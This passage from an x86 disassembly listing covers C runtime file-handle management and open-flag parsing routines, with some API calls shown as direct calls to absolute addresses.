		mov	eax, [ebp+var_4]
		sub	eax, dword_4DB460[edx*4]
		cdq
		mov	esi, 24h
		idiv	esi
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_4277F6
; ---------------------------------------------------------------------------


loc_4277F1:				; CODE XREF: sub_4276D0+81j
		jmp	loc_427724
; ---------------------------------------------------------------------------


loc_4277F6:				; CODE XREF: sub_4276D0+6Fj
					; sub_4276D0+11Fj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_427801
		jmp	loc_4278A0
; ---------------------------------------------------------------------------


loc_427801:				; CODE XREF: sub_4276D0+12Aj
		jmp	loc_42789B
; ---------------------------------------------------------------------------


loc_427806:				; CODE XREF: sub_4276D0+3Fj
		push	79h
		push	offset aOsfinfo_c ; "osfinfo.c"
		push	2
		push	480h
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_427899
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	dword_4DB460[eax*4], ecx
		mov	edx, dword_4DB560
		add	edx, 20h
		mov	dword_4DB560, edx
		jmp	short loc_42784C
; ---------------------------------------------------------------------------


loc_427843:				; CODE XREF: sub_4276D0+1B2j
		mov	eax, [ebp+var_4]
		add	eax, 24h
		mov	[ebp+var_4], eax


loc_42784C:				; CODE XREF: sub_4276D0+171j
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4DB460[ecx*4]
		add	edx, 480h
		cmp	[ebp+var_4], edx
		jnb	short loc_427884
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+8], 0
		jmp	short loc_427843
; ---------------------------------------------------------------------------


loc_427884:				; CODE XREF: sub_4276D0+18Fj
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_427BE0
		add	esp, 4


loc_427899:				; CODE XREF: sub_4276D0+153j
		jmp	short loc_4278A0
; ---------------------------------------------------------------------------


loc_42789B:				; CODE XREF: sub_4276D0:loc_427801j
		jmp	loc_4276F1
; ---------------------------------------------------------------------------


loc_4278A0:				; CODE XREF: sub_4276D0+2Ej
					; sub_4276D0+12Cj ...
		push	12h
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+var_8]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4276D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4278C0	proc near		; CODE XREF: ___:00427B93p
					; sub_428050+379p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DB560
		jnb	loc_42795A
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jnz	short loc_42795A
		cmp	dword_443B84, 1
		jnz	short loc_42793A
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jz	short loc_427912
		cmp	[ebp+var_4], 1
		jz	short loc_427920
		cmp	[ebp+var_4], 2
		jz	short loc_42792E
		jmp	short loc_42793A
; ---------------------------------------------------------------------------


loc_427912:				; CODE XREF: sub_4278C0+42j
		mov	edx, [ebp+arg_4]
		push	edx
		push	0FFFFFFF6h
		call	near ptr 2660D18h
		nop
		jmp	short loc_42793A
; ---------------------------------------------------------------------------


loc_427920:				; CODE XREF: sub_4278C0+48j
		mov	eax, [ebp+arg_4]
		push	eax
		push	0FFFFFFF5h
		nop
		call	near ptr 2660D18h
		jmp	short loc_42793A
; ---------------------------------------------------------------------------


loc_42792E:				; CODE XREF: sub_4278C0+4Ej
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0FFFFFFF4h
		nop
		call	near ptr 2660D18h


loc_42793A:				; CODE XREF: sub_4278C0+36j
					; sub_4278C0+50j ...
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DB460[edx*4]
		mov	edx, [ebp+arg_4]
		mov	[ecx+eax], edx
		xor	eax, eax
		jmp	short loc_427973
; ---------------------------------------------------------------------------


loc_42795A:				; CODE XREF: sub_4278C0+Dj
					; sub_4278C0+2Dj
		call	sub_420520
		mov	dword ptr [eax], 9
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_427973:				; CODE XREF: sub_4278C0+98j
		mov	esp, ebp
		pop	ebp
		retn
sub_4278C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427980	proc near		; CODE XREF: sub_41B230+69p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DB560
		jnb	loc_427A3B
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_427A3B
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DB460[edx*4]
		cmp	dword ptr [ecx+eax], 0FFFFFFFFh
		jz	short loc_427A3B
		cmp	dword_443B84, 1
		jnz	short loc_427A1A
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jz	short loc_4279F8
		cmp	[ebp+var_4], 1
		jz	short loc_427A04
		cmp	[ebp+var_4], 2
		jz	short loc_427A10
		jmp	short loc_427A1A
; ---------------------------------------------------------------------------


loc_4279F8:				; CODE XREF: sub_427980+68j
		push	0
		push	0FFFFFFF6h
		nop
		call	near ptr 2660D18h
		jmp	short loc_427A1A
; ---------------------------------------------------------------------------


loc_427A04:				; CODE XREF: sub_427980+6Ej
		push	0
		push	0FFFFFFF5h
		nop
		call	near ptr 2660D18h
		jmp	short loc_427A1A
; ---------------------------------------------------------------------------


loc_427A10:				; CODE XREF: sub_427980+74j
		push	0
		push	0FFFFFFF4h
		nop
		call	near ptr 2660D18h


loc_427A1A:				; CODE XREF: sub_427980+5Cj
					; sub_427980+76j ...
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		mov	dword ptr [edx+ecx], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_427A54
; ---------------------------------------------------------------------------


loc_427A3B:				; CODE XREF: sub_427980+Dj
					; sub_427980+33j ...
		call	sub_420520
		mov	dword ptr [eax], 9
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_427A54:				; CODE XREF: sub_427980+B9j
		mov	esp, ebp
		pop	ebp
		retn
sub_427980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427A60	proc near		; CODE XREF: sub_41B230+9p
					; sub_41B230+24p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DB560
		jnb	short loc_427AAB
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_427AAB
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DB460[edx*4]
		mov	eax, [ecx+eax]
		jmp	short loc_427AC4
; ---------------------------------------------------------------------------


loc_427AAB:				; CODE XREF: sub_427A60+Cj
					; sub_427A60+2Ej
		call	sub_420520
		mov	dword ptr [eax], 9
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_427AC4:				; CODE XREF: sub_427A60+49j
		pop	ebp
		retn
sub_427A60	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	byte ptr [ebp-0Ch], 0
		mov	eax, [ebp+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_427AED
		mov	cl, [ebp-0Ch]
		or	cl, 20h
		mov	[ebp-0Ch], cl


loc_427AED:				; CODE XREF: ___:00427AE2j
		mov	edx, [ebp+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_427B02
		mov	al, [ebp-0Ch]
		or	al, 80h
		mov	[ebp-0Ch], al


loc_427B02:				; CODE XREF: ___:00427AF8j
		mov	ecx, [ebp+0Ch]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_427B18
		mov	dl, [ebp-0Ch]
		or	dl, 10h
		mov	[ebp-0Ch], dl


loc_427B18:				; CODE XREF: ___:00427B0Dj
		mov	eax, [ebp+8]
		push	eax
		nop
		call	near ptr 28C0000h
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_427B42
		nop
		call	near ptr 26908EFh
		push	eax
		call	sub_420480
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_427BD0
; ---------------------------------------------------------------------------


loc_427B42:				; CODE XREF: ___:00427B29j
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_427B53
		mov	cl, [ebp-0Ch]
		or	cl, 40h
		mov	[ebp-0Ch], cl
		jmp	short loc_427B62
; ---------------------------------------------------------------------------


loc_427B53:				; CODE XREF: ___:00427B46j
		cmp	dword ptr [ebp-4], 3
		jnz	short loc_427B62
		mov	dl, [ebp-0Ch]
		or	dl, 8
		mov	[ebp-0Ch], dl


loc_427B62:				; CODE XREF: ___:00427B51j
					; ___:00427B57j
		call	sub_4276D0
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0FFFFFFFFh
		jnz	short loc_427B8B
		call	sub_420520
		mov	dword ptr [eax], 18h
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_427BD0
; ---------------------------------------------------------------------------


loc_427B8B:				; CODE XREF: ___:00427B6Ej
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_4278C0
		add	esp, 8
		mov	dl, [ebp-0Ch]
		or	dl, 1
		mov	[ebp-0Ch], dl
		mov	eax, [ebp-8]
		sar	eax, 5
		mov	ecx, [ebp-8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		mov	al, [ebp-0Ch]
		mov	[edx+ecx+4], al
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_427C70
		add	esp, 4
		mov	eax, [ebp-8]


loc_427BD0:				; CODE XREF: ___:00427B3Dj
					; ___:00427B89j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427BE0	proc near		; CODE XREF: sub_41B1B0+50p
					; sub_41DD40+50p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_427C41
		push	11h
		call	sub_41B780
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_427C37
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		nop
		call	near ptr 28606DCh
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx


loc_427C37:				; CODE XREF: sub_427BE0+39j
		push	11h
		call	sub_41B820
		add	esp, 4


loc_427C41:				; CODE XREF: sub_427BE0+26j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		call	near ptr 77F7E21Fh
		nop
		mov	esp, ebp
		pop	ebp
		retn
sub_427BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427C70	proc near		; CODE XREF: sub_41B1B0+6Bp
					; sub_41DD40+73p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		call	near ptr 77F7E300h
		nop
		pop	ebp
		retn
sub_427C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427CA0	proc near		; CODE XREF: sub_41B3D0+2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DB560
		jnb	short loc_427CD1
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_427CE4


loc_427CD1:				; CODE XREF: sub_427CA0+Dj
		call	sub_420520
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_427D6E
; ---------------------------------------------------------------------------


loc_427CE4:				; CODE XREF: sub_427CA0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_427BE0
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 1
		test	eax, eax
		jz	short loc_427D4D
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_427A60
		add	esp, 4
		push	eax
		nop
		call	near ptr 266080Ch
		test	eax, eax
		jnz	short loc_427D34
		call	near ptr 26908EFh
		nop
		mov	[ebp+var_4], eax
		jmp	short loc_427D3B
; ---------------------------------------------------------------------------


loc_427D34:				; CODE XREF: sub_427CA0+87j
		mov	[ebp+var_4], 0


loc_427D3B:				; CODE XREF: sub_427CA0+92j
		cmp	[ebp+var_4], 0
		jnz	short loc_427D43
		jmp	short loc_427D5F
; ---------------------------------------------------------------------------


loc_427D43:				; CODE XREF: sub_427CA0+9Fj
		call	sub_420530
		mov	edx, [ebp+var_4]
		mov	[eax], edx


loc_427D4D:				; CODE XREF: sub_427CA0+70j
		call	sub_420520
		mov	dword ptr [eax], 9
		mov	[ebp+var_4], 0FFFFFFFFh


loc_427D5F:				; CODE XREF: sub_427CA0+A1j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427C70
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_427D6E:				; CODE XREF: sub_427CA0+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_427CA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427D80	proc near		; CODE XREF: sub_41DA90+98p
					; sub_41FFF0+ECp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4345B8
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DB300, 0
		jnz	short loc_427DFE
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	offset dword_434260
		push	1
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_427DD2
		mov	dword_4DB300, 1
		jmp	short loc_427DFE
; ---------------------------------------------------------------------------


loc_427DD2:				; CODE XREF: sub_427D80+44j
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	1
		push	offset dword_43425C
		push	1
		push	0
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_427DF7
		mov	dword_4DB300, 2
		jmp	short loc_427DFE
; ---------------------------------------------------------------------------


loc_427DF7:				; CODE XREF: sub_427D80+69j
		xor	eax, eax
		jmp	loc_427F28
; ---------------------------------------------------------------------------


loc_427DFE:				; CODE XREF: sub_427D80+2Dj
					; sub_427D80+50j ...
		cmp	dword_4DB300, 2
		jnz	short loc_427E35
		cmp	[ebp+arg_14], 0
		jnz	short loc_427E16
		mov	edx, dword_4DB1B8
		mov	[ebp+arg_14], edx


loc_427E16:				; CODE XREF: sub_427D80+8Bj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		nop
		call	near ptr 2660000h
		jmp	loc_427F28
; ---------------------------------------------------------------------------


loc_427E35:				; CODE XREF: sub_427D80+85j
		cmp	dword_4DB300, 1
		jnz	loc_427F26
		cmp	[ebp+arg_10], 0
		jnz	short loc_427E51
		mov	edx, dword_4DB1C8
		mov	[ebp+arg_10], edx


loc_427E51:				; CODE XREF: sub_427D80+C6j
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_18]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		nop
		call	near ptr 2810000h
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_427E85
		xor	eax, eax
		jmp	loc_427F28
; ---------------------------------------------------------------------------


loc_427E85:				; CODE XREF: sub_427D80+FCj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_20]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417E20
		mov	[ebp+var_2C], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_20]
		shl	edx, 1
		push	edx
		push	0
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_417070
		add	esp, 0Ch
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_427EDB
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_427EDB:				; CODE XREF: sub_427D80+142j
		cmp	[ebp+var_24], 0
		jnz	short loc_427EE5
		xor	eax, eax
		jmp	short loc_427F28
; ---------------------------------------------------------------------------


loc_427EE5:				; CODE XREF: sub_427D80+15Fj
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	1
		mov	edx, [ebp+arg_10]
		push	edx
		call	near ptr 2810000h
		nop
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_427F0E
		xor	eax, eax
		jmp	short loc_427F28
; ---------------------------------------------------------------------------


loc_427F0E:				; CODE XREF: sub_427D80+188j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2650000h
		jmp	short loc_427F28
; ---------------------------------------------------------------------------


loc_427F26:				; CODE XREF: sub_427D80+BCj
		xor	eax, eax


loc_427F28:				; CODE XREF: sub_427D80+79j
					; sub_427D80+B0j ...
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_427D80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427F40	proc near		; CODE XREF: sub_41DB50+A1p
					; sub_41E730+137p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_427F47:				; CODE XREF: sub_427F40+2Fj
		cmp	[ebp+arg_0], 0
		jnz	short loc_427F6B
		push	offset dword_4334B4
		push	0
		push	2Eh
		push	offset dword_4345C4
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_427F6B
		int	3		; Trap to Debugger


loc_427F6B:				; CODE XREF: sub_427F40+Bj
					; sub_427F40+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_427F47
		mov	ecx, dword_4DB110
		add	ecx, 1
		mov	dword_4DB110, ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		push	3Bh
		push	offset dword_4345C4
		push	2
		push	1000h
		call	sub_414DD0
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jz	short loc_427FC6
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ecx, 8
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 1000h
		jmp	short loc_427FEB
; ---------------------------------------------------------------------------


loc_427FC6:				; CODE XREF: sub_427F40+69j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 4
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2


loc_427FEB:				; CODE XREF: sub_427F40+84j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_427F40	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+10h]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		add	ecx, 4
		mov	[ebp-8], ecx
		mov	edx, [ebp-8]
		mov	eax, [edx-4]
		mov	[ebp-4], eax
		mov	dword ptr [ebp-8], 0
		mov	ecx, [ebp-4]
		push	ecx
		push	40h
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_428050
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428050	proc near		; CODE XREF: sub_41E220+2B0p
					; ___:00428043p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	[ebp+var_24], 0Ch
		mov	[ebp+var_20], 0
		mov	eax, [ebp+arg_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_42807D
		mov	[ebp+var_1C], 0
		mov	[ebp+var_38], 10h
		jmp	short loc_428088
; ---------------------------------------------------------------------------


loc_42807D:				; CODE XREF: sub_428050+1Ej
		mov	[ebp+var_1C], 1
		mov	[ebp+var_38], 0


loc_428088:				; CODE XREF: sub_428050+2Bj
		mov	ecx, [ebp+arg_4]
		and	ecx, 8000h
		test	ecx, ecx
		jnz	short loc_4280C1
		mov	edx, [ebp+arg_4]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_4280AC
		mov	al, [ebp+var_38]
		or	al, 80h
		mov	[ebp+var_38], al
		jmp	short loc_4280C1
; ---------------------------------------------------------------------------


loc_4280AC:				; CODE XREF: sub_428050+50j
		cmp	dword_4DB42C, 8000h
		jz	short loc_4280C1
		mov	cl, [ebp+var_38]
		or	cl, 80h
		mov	[ebp+var_38], cl


loc_4280C1:				; CODE XREF: sub_428050+43j
					; sub_428050+5Aj ...
		mov	edx, [ebp+arg_4]
		and	edx, 3
		mov	[ebp+var_40], edx
		cmp	[ebp+var_40], 0
		jz	short loc_4280DE
		cmp	[ebp+var_40], 1
		jz	short loc_4280E7
		cmp	[ebp+var_40], 2
		jz	short loc_4280F0
		jmp	short loc_4280F9
; ---------------------------------------------------------------------------


loc_4280DE:				; CODE XREF: sub_428050+7Ej
		mov	[ebp+var_34], 80000000h
		jmp	short loc_428117
; ---------------------------------------------------------------------------


loc_4280E7:				; CODE XREF: sub_428050+84j
		mov	[ebp+var_34], 40000000h
		jmp	short loc_428117
; ---------------------------------------------------------------------------


loc_4280F0:				; CODE XREF: sub_428050+8Aj
		mov	[ebp+var_34], 0C0000000h
		jmp	short loc_428117
; ---------------------------------------------------------------------------


loc_4280F9:				; CODE XREF: sub_428050+8Cj
		call	sub_420520
		mov	dword ptr [eax], 16h
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42855A
; ---------------------------------------------------------------------------


loc_428117:				; CODE XREF: sub_428050+95j
					; sub_428050+9Ej ...
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		mov	ecx, [ebp+var_44]
		sub	ecx, 10h
		mov	[ebp+var_44], ecx
		cmp	[ebp+var_44], 30h
		ja	short loc_428162
		mov	eax, [ebp+var_44]
		xor	edx, edx
		mov	dl, byte_428572[eax]
		jmp	off_42855E[edx*4]


loc_42813E:				; DATA XREF: ___:off_42855Eo
		mov	[ebp+var_8], 0
		jmp	short loc_428180
; ---------------------------------------------------------------------------


loc_428147:				; CODE XREF: sub_428050+E7j
					; DATA XREF: ___:00428562o
		mov	[ebp+var_8], 1
		jmp	short loc_428180
; ---------------------------------------------------------------------------


loc_428150:				; CODE XREF: sub_428050+E7j
					; DATA XREF: ___:00428566o
		mov	[ebp+var_8], 2
		jmp	short loc_428180
; ---------------------------------------------------------------------------


loc_428159:				; CODE XREF: sub_428050+E7j
					; DATA XREF: ___:0042856Ao
		mov	[ebp+var_8], 3
		jmp	short loc_428180
; ---------------------------------------------------------------------------


loc_428162:				; CODE XREF: sub_428050+DAj
					; sub_428050+E7j
					; DATA XREF: ...
		call	sub_420520
		mov	dword ptr [eax], 16h
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42855A
; ---------------------------------------------------------------------------


loc_428180:				; CODE XREF: sub_428050+F5j
					; sub_428050+FEj ...
		mov	ecx, [ebp+arg_4]
		and	ecx, 700h
		mov	[ebp+var_48], ecx
		cmp	[ebp+var_48], 400h
		jg	short loc_4281CC
		cmp	[ebp+var_48], 400h
		jz	short loc_4281E9
		cmp	[ebp+var_48], 200h
		jg	short loc_4281C1
		cmp	[ebp+var_48], 200h
		jz	short loc_428204
		cmp	[ebp+var_48], 0
		jz	short loc_4281E9
		cmp	[ebp+var_48], 100h
		jz	short loc_4281F2
		jmp	short loc_428216
; ---------------------------------------------------------------------------


loc_4281C1:				; CODE XREF: sub_428050+155j
		cmp	[ebp+var_48], 300h
		jz	short loc_42820D
		jmp	short loc_428216
; ---------------------------------------------------------------------------


loc_4281CC:				; CODE XREF: sub_428050+143j
		cmp	[ebp+var_48], 500h
		jz	short loc_4281FB
		cmp	[ebp+var_48], 600h
